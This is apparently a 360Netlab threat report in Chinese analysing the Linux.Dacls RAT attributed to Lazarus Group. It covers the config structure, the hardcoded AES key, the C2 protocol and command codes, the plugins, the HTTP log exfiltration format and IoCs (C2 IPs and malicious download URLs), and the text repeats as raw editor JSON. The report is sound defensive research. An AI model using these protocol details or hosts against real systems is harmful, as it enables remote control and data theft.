  char name[1040];
};

struct struct_c2_content
{
  char content[2048];
};

struct struct_global_cfg
{
  int session_id;
  int unk_const1;
  int sus_version_20190417;
  int connect_retry_sleep_time;
  char unk_array1[88];
  int c2_num;
  struct_c2_content c2_list[3];
  char unknown_filed_186C[14340];
  struct_plugin_cfg_data plug_cfg_data_list[15];
};




AES 加密算法


 * AES，CBC Mode
 * Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED
 * IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92


解密配置文件


我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。




C2 协议


Linux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。


SSL 连接





协议认证


建立SSL连接会发送若干次Beacon消息和C2互相确认身份。





Cmd
Direction
Encrypted
Description




0x20000
send
no
Beacon


0x20100
recv
no
Beacon


0x20200
send
no
Beacon





RC4 加密和解密流程


 * 
   
   
   RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50
   
   
   

 * 
   
   
   置换表生成算法，根据RC4 Key生成RC4加密用的置换表
   
   
   

 * 
   
   
   加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的
   
   
   

 * 
   
   
   RC4解密示例
   
   
   在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。
   
   
   


C2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。


Key:
a3 2f c2 10 f3 92 79 c3  0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91  d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d  49 52 23 77 bc 4d fd 49
87 

密文:
fe 3c 2c d7 bf 08 e3 91  d7 00 1f d0

明文:
00 07 00 00 00 00 00 00  00 00 00 00 



C2指令码表


Linux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。


第一种模式：当第3个字节为0，控制Bot主逻辑。


以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息





指令1
指令2
模式
未知




00
07
00
00





第二种模式：当第3个字节为1，控制加载插件逻辑。


以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件





指令1
指令2
模式
未知




01
01
01
00





Bot收到指令后，执行成功返回0x20500，执行失败返回0x20600。


 * C2指令表，Bot主逻辑部分





Module
Cmd
Encrypt
Description




Core
0x00000601
Yes
上传C2配置信息


Core
0x00000602
Yes
下载配置信息保存到 $HOME/.memcache


Core
0x00000700
Yes
要求Bot上传主机信息


Core
0x00000900
Yes
要求Bot发送心跳信息





 * C2指令表，Bot插件部分





Module
Cmd
Encrypt
Description




/bin/bash
0x00010000
Yes
执行C2下发的bash命令


/bin/bash
0x00010002
Yes
连接到指定的C2执行下发的系统命令


plugin_file
0x00010100
Yes
写文件


plugin_file
0x00010101
Yes
读文件


plugin_file
0x00010103
Yes
删除文件


plugin_file
0x00010104
Yes
扫描目录结构


plugin_file
0x00010110
Yes
从指定url下载文件


plugin_process
0x00010200
Yes
扫描并上传主机进程相关信息


plugin_process
0x00010201
Yes
杀死指定进程


plugin_process
0x00010202
Yes
创建daemon进程


plugin_process
0x00010204
Yes
获得并上报进程PID和PPID


plugin_test
0x00010300
Yes
测试是否可以访问指定IP


plugin_reverse_p2p
0x00010400
Yes
C2连接代理


logsend
0x00011100
Yes
测试是否可以访问Log服务器


logsend
0x00011101
Yes
上传公网端口扫描结果和命令执行输出


logsend
0x00011102
Yes
无操作





 * C2通信流程图
   
   


插件模块


Linux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。




每个插件都会有相应的配置信息，它们会保存在Bot的配置文件$HOME/.memcache中，在插件初始化时，加载这些配置信息。


Bash 插件


Bash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。




File 插件


File插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。




Process 插件


Process插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。




如果Linux进程中的PID对应的/proc/<pid>/task目录存在，Bot样本会收集如下进程信息：


 * 从/proc/<pid>/cmdline读取命令行全名
 * 从/proc/<pid>/status中读取:


Name      //进程名
Uid       //用户ID
Gid       //用户组ID
PPid      //父进程ID



Test插件


Test插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。




Reverse P2P插件


Reverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。


reverse_p2p插件初始化




当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。

以下是Reverse P2P插件工作流程图：




LogSend 插件


LogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。


LogSend插件初始化




LogSend相关操作回调函数




测试连接Log服务器

Bot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回{"result":"ok"}说明测试成功，此时C2就可以下发更多的LogSend指令。


使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求


POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check



随机扫描全网8291端口并上报给Log服务器。


当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。

IP生成规则：


ip = <part1>.<part2>.<part3>.<part4>

rule1: part1 != 127
rule2: part1 == 172 and (part2 <= 15 or part2 > 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10



随机IP生成算法如下




我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件[1][2]。




执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。




执行bash命令并转发输出给Log服务器

所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：


log=save&session_id=<session id>&value=<log content>





处置建议


我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。


我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。


相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。


IoC list


样本MD5


6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9



硬编码C2 IP：


23.81.246.179       	United States       	ASN19148            	Leaseweb USA, Inc.  
23.254.119.12       	Canada              	ASN55286            	B2 Net Solutions Inc.
23.227.196.116      	United States       	ASN35017            	Swiftway Sp. z o.o. 
37.72.175.179       	United States       	ASN29802            	HIVELOCITY, Inc.    
23.227.199.53       	United States       	ASN35017            	Swiftway Sp. z o.o. 
107.172.197.175     	United States       	ASN36352            	ColoCrossing        
172.93.201.219      	United States       	ASN20278            	Nexeon Technologies, Inc.
64.188.19.117       	United States       	ASN8100             	QuadraNet Enterprises LLC
74.121.190.121      	United States       	ASN23033            	Wowrack.com         
192.210.213.178     	United States       	ASN36352            	ColoCrossing        
209.90.234.34       	United States       	ASN23033            	Wowrack.com         
198.180.198.6       	United States       	ASN26658            	HT  



URL


http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。\n\n目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。\n\n事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。\n\n## Dacls 概览\nDacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。\n\n### 如何关联上 Lazarus Group\n⾸先，我们通过样本```80c0efb9e129f7f9b05a783df6959812```中的硬编码字符串特征 ```c_2910.cls```和```k_3872.cls```，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。\n\n其中⼀个Win32.Dacls样本```6de65fc57a4428ad7e262e980a7f6cc7```，它的下载地址为```https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi```，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本```b578ccf307d55d3267f98349e20ecff1```，它的下载地址为```http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi```。在2019年10⽉份，这个NukeSped样本```b578ccf307d55d3267f98349e20ecff1```曾被推特⽤户@cyberwar_15标记为Lazarus Group。\n\n另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出```thevagabondsatchel.com```曾被Lazarus Group⽤于存放样本。\n\n所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。\n\n<a href=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\"><img src=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\" class=\"kg-image\"/></a>\n\n### Downloader服务器\n我们在疑似被感染的下载服务器```http://www.areac-agr.com/cms/wp-content/uploads/2015/12/```上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。\n\n```c\nMD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c  //Confluence CVE-2019-3396 Payload\nMD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector\nMD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c      //Confluence CVE-2019-3396 Payload\nMD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot\nMD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat\n```\n\n## 逆向分析\n### Log Collector样本分析\n- MD5: 982bf527b9fe16205fea606d1beed7fa\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header\n\n这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。\n```c\nAvoid Scanning Root Directory\n/bin\n/boot\n/dev\n/etc\n/lib\n/lib32\n/lib64\n/lost+found\n/sbin\n/sys\n/tmp\n/proc\n/run\n\nAvoid Scanning Secondary Directory\n/usr/bin\n/usr/etc\n/usr/games\n/usr/include\n/usr/lib\n/usr/lib32\n/usr/lib64\n/usr/libexec\n/usr/sbin\n/usr/share\n/usr/src\n/usr/tmp\n/var/adm\n/var/cache\n/var/crash\n/var/db\n/var/empty\n/var/games\n/var/gopher\n/var/kerberos\n/var/lock\n/var/nis\n/var/preserve\n/var/run\n/var/yp\n```\n\n日志记录格式示例\n```c\ndeep    name      type    size    last date\n0       /         D       0       000000000000\n1       bin       D       0       201911290628\n2       bash      F       1037528 201907121226\n2       bunzip2   F       31352   201907040536\n2       busybox   F       1984584 201903070712\n2       bzcat     F       31352   201907040536\n2       bzcmp     F       2140    201907040536\n....\n```\n\n最后通过执行系统tar命令把日志文件压缩```tar -cvzf /tmp/hdv.rm /tmp/hdv.log``` 并上传到指定日志搜集接口。\n\n### Linux.Dacls样本分析\n- MD5: 80c0efb9e129f7f9b05a783df6959812\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped\n\nLinux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。\n\n#### 初始化行为\nLinux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数```/pro```，Bot PID文件```/var/run/init.pid```和Bot进程名```/proc/<pid>/cmdline```，来区分不同运行环境，我们猜测可能是用于Bot程序升级。\n<a href=\"__GHOST_URL__/content/images/2019/12/init_stage.png\"><img src=\"__GHOST_URL__/content/images/2019/12/init_stage.png\" class=\"kg-image\"/></a>\n\n\n#### 配置文件 .memcahce\nLinux.Dacls Bot配置文件固定存放在```$HOME/.memcache```，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。\n\n###### 数据结构\n我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。\n```c\nstruct struct_plugin_cfg_data\n{\n  int plugin_id;\n  int plugin_type;\n  int unk3;\n  char name[1040];\n};\n\nstruct struct_c2_content\n{\n  char content[2048];\n};\n\nstruct struct_global_cfg\n{\n  int session_id;\n  int unk_const1;\n  int sus_version_20190417;\n  int connect_retry_sleep_time;\n  char unk_array1[88];\n  int c2_num;\n  struct_c2_content c2_list[3];\n  char unknown_filed_186C[14340];\n  struct_plugin_cfg_data plug_cfg_data_list[15];\n};\n\n```\n###### AES 加密算法\n- AES，CBC Mode\n- Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED\n- IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92\n\n###### 解密配置文件 \n我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。\n<a href=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\" class=\"kg-image\"/></a>\n\n\n\n#### C2 协议\nLinux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。\n###### SSL 连接\n<a href=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\" class=\"kg-image\"/></a>\n\n###### 协议认证\n建立SSL连接会发送若干次Beacon消息和C2互相确认身份。\n| Cmd    | Direction             | Encrypted         | Description|\n| -----  | ------------------ | ------------ |:----------: |\n|0x20000 | send     |   no         | Beacon|\n|0x20100 | recv       | no          |Beacon|\n|0x20200 |  send       | no       |   Beacon|\n\n###### RC4 加密和解密流程\n- RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\" class=\"kg-image\"/></a>\n\n\n- 置换表生成算法，根据RC4 Key生成RC4加密用的置换表\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\" class=\"kg-image\"/></a>\n\n\n- 加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\" class=\"kg-image\"/></a>\n\n\n- RC4解密示例\n  \n  在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。\n  <a href=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\" class=\"kg-image\"/></a>\n\n\nC2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。\n\n```c\nKey:\na3 2f c2 10 f3 92 79 c3  0e f6 e4 e5 2e 69 29 86\n0d 3a 92 f5 b7 23 fc 91  d9 46 91 55 a3 86 5a 47\n36 1d 58 2a af d1 6d 3d  49 52 23 77 bc 4d fd 49\n87 \n\n密文:\nfe 3c 2c d7 bf 08 e3 91  d7 00 1f d0\n\n明文:\n00 07 00 00 00 00 00 00  00 00 00 00 \n```\n###### C2指令码表\nLinux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。\n\n第一种模式：当第3个字节为0，控制Bot主逻辑。\n\n以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息\n\n|  指令1 |  指令2  | 模式  | 未知 |\n|------ | ------ | ------ | ------|\n|  00    | 07     |00     |00     |\n\n第二种模式：当第3个字节为1，控制加载插件逻辑。\n\n以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件\n\n|  指令1 |  指令2  | 模式  | 未知 |\n|------ | ------ | ------ | ------|\n|  01    | 01     |01     |00     |\n\nBot收到指令后，执行成功返回0x20500，执行失败返回0x20600。\n\n\n- C2指令表，Bot主逻辑部分\n\n| Module | Cmd        | Encrypt | Description                              |\n| ------ | ---------- | ------- | ---------------------------------------- |\n| Core   | 0x00000601 | Yes     | 上传C2配置信息                           |\n| Core   | 0x00000602 | Yes     | 下载配置信息保存到 ```$HOME/.memcache``` |\n| Core   | 0x00000700 | Yes     | 要求Bot上传主机信息                      |\n| Core   | 0x00000900 | Yes     | 要求Bot发送心跳信息                      |\n\n- C2指令表，Bot插件部分\n\n|       Module       | Cmd        | Encrypt | Description                        |\n| :----------------: | ---------- | ------- | ---------------------------------- |\n|     /bin/bash      | 0x00010000 | Yes     | 执行C2下发的bash命令               |\n|     /bin/bash      | 0x00010002 | Yes     | 连接到指定的C2执行下发的系统命令   |\n|    plugin_file     | 0x00010100 | Yes     | 写文件                             |\n|    plugin_file     | 0x00010101 | Yes     | 读文件                             |\n|    plugin_file     | 0x00010103 | Yes     | 删除文件                           |\n|    plugin_file     | 0x00010104 | Yes     | 扫描目录结构                       |\n|    plugin_file     | 0x00010110 | Yes     | 从指定url下载文件                  |\n|   plugin_process   | 0x00010200 | Yes     | 扫描并上传主机进程相关信息         |\n|   plugin_process   | 0x00010201 | Yes     | 杀死指定进程                       |\n|   plugin_process   | 0x00010202 | Yes     | 创建daemon进程                     |\n|   plugin_process   | 0x00010204 | Yes     | 获得并上报进程PID和PPID            |\n|    plugin_test     | 0x00010300 | Yes     | 测试是否可以访问指定IP             |\n| plugin_reverse_p2p | 0x00010400 | Yes     | C2连接代理                         |\n|      logsend       | 0x00011100 | Yes     | 测试是否可以访问Log服务器          |\n|      logsend       | 0x00011101 | Yes     | 上传公网端口扫描结果和命令执行输出 |\n|      logsend       | 0x00011102 | Yes     | 无操作                             |\n\n- C2通信流程图\n <a href=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\" class=\"kg-image\"/></a>\n\n\n\n#### 插件模块\nLinux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。\n<a href=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\"><img src=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\" class=\"kg-image\"/></a>\n\n\n每个插件都会有相应的配置信息，它们会保存在Bot的配置文件```$HOME/.memcache```中，在插件初始化时，加载这些配置信息。\n\n###### Bash 插件\nBash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。\n<a href=\"__GHOST_URL__/content/images/2019/12/bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/bash.png\" class=\"kg-image\"/></a>\n\n\n###### File 插件\nFile插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。\n<a href=\"__GHOST_URL__/content/images/2019/12/file.png\"><img src=\"__GHOST_URL__/content/images/2019/12/file.png\" class=\"kg-image\"/></a>\n\n\n\n###### Process 插件\nProcess插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。\n<a href=\"__GHOST_URL__/content/images/2019/12/process.png\"><img src=\"__GHOST_URL__/content/images/2019/12/process.png\" class=\"kg-image\"/></a>\n\n如果Linux进程中的PID对应的```/proc/<pid>/task```目录存在，Bot样本会收集如下进程信息：\n\n- 从```/proc/<pid>/cmdline```读取命令行全名\n- 从```/proc/<pid>/status```中读取:\n```\nName      //进程名\nUid       //用户ID\nGid       //用户组ID\nPPid      //父进程ID\n```\n\n\n###### Test插件\nTest插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。\n<a href=\"__GHOST_URL__/content/images/2019/12/test.png\"><img src=\"__GHOST_URL__/content/images/2019/12/test.png\" class=\"kg-image\"/></a>\n\n\n###### Reverse P2P插件\nReverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。\n\nreverse_p2p插件初始化\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\" class=\"kg-image\"/></a>\n\n\n当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。\n以下是Reverse P2P插件工作流程图：\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\" class=\"kg-image\"/></a>\n\n\n###### LogSend 插件\nLogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。\n\nLogSend插件初始化\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\" class=\"kg-image\"/></a>\n\n\nLogSend相关操作回调函数\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend.png\" class=\"kg-image\"/></a>\n\n\n测试连接Log服务器\nBot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回```{\"result\":\"ok\"}```说明测试成功，此时C2就可以下发更多的LogSend指令。\n\n使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求\n```\nPOST /%s HTTP/1.0\nHost: %s\nContent-Length: 9\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nCache-Control: no-cache\nConnection: close\nlog=check\n```\n随机扫描全网8291端口并上报给Log服务器。\n\n当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。\nIP生成规则：\n```\nip = <part1>.<part2>.<part3>.<part4>\n\nrule1: part1 != 127\nrule2: part1 == 172 and (part2 <= 15 or part2 > 31)\nrule3: part1 != 192 and part2 != 168\nrule4: part1 != 10\n```\n随机IP生成算法如下\n<a href=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\" class=\"kg-image\"/></a>\n\n我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件[\\[1\\]](__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/)[\\[2\\]](__GHOST_URL__/quick-summary-port-8291-scan-en/)。\n<a href=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\"><img src=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\" class=\"kg-image\"/></a>\n\n执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\" class=\"kg-image\"/></a>\n\n执行bash命令并转发输出给Log服务器\n所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：\n\n```log=save&session_id=<session id>&value=<log content>```\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\" class=\"kg-image\"/></a>\n\n\n### 处置建议\n我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。\n\n我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n\n\n\n\n### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n\n\n#### IoC list\n样本MD5\n```\n6de65fc57a4428ad7e262e980a7f6cc7\n80c0efb9e129f7f9b05a783df6959812\n982bf527b9fe16205fea606d1beed7fa\n8910bdaaa6d3d40e9f60523d3a34f914\na99b7ef095f44cf35453465c64f0c70c\nbea49839390e4f1eb3cb38d0fcaf897e\ncef99063e85af8b065de0ffa9d26cb03\ne883bf5fd22eb6237eb84d80bbcf2ac9\n```\n\n硬编码C2 IP：\n```\n23.81.246.179       \tUnited States       \tASN19148            \tLeaseweb USA, Inc.  \n23.254.119.12       \tCanada              \tASN55286            \tB2 Net Solutions Inc.\n23.227.196.116      \tUnited States       \tASN35017            \tSwiftway Sp. z o.o. \n37.72.175.179       \tUnited States       \tASN29802      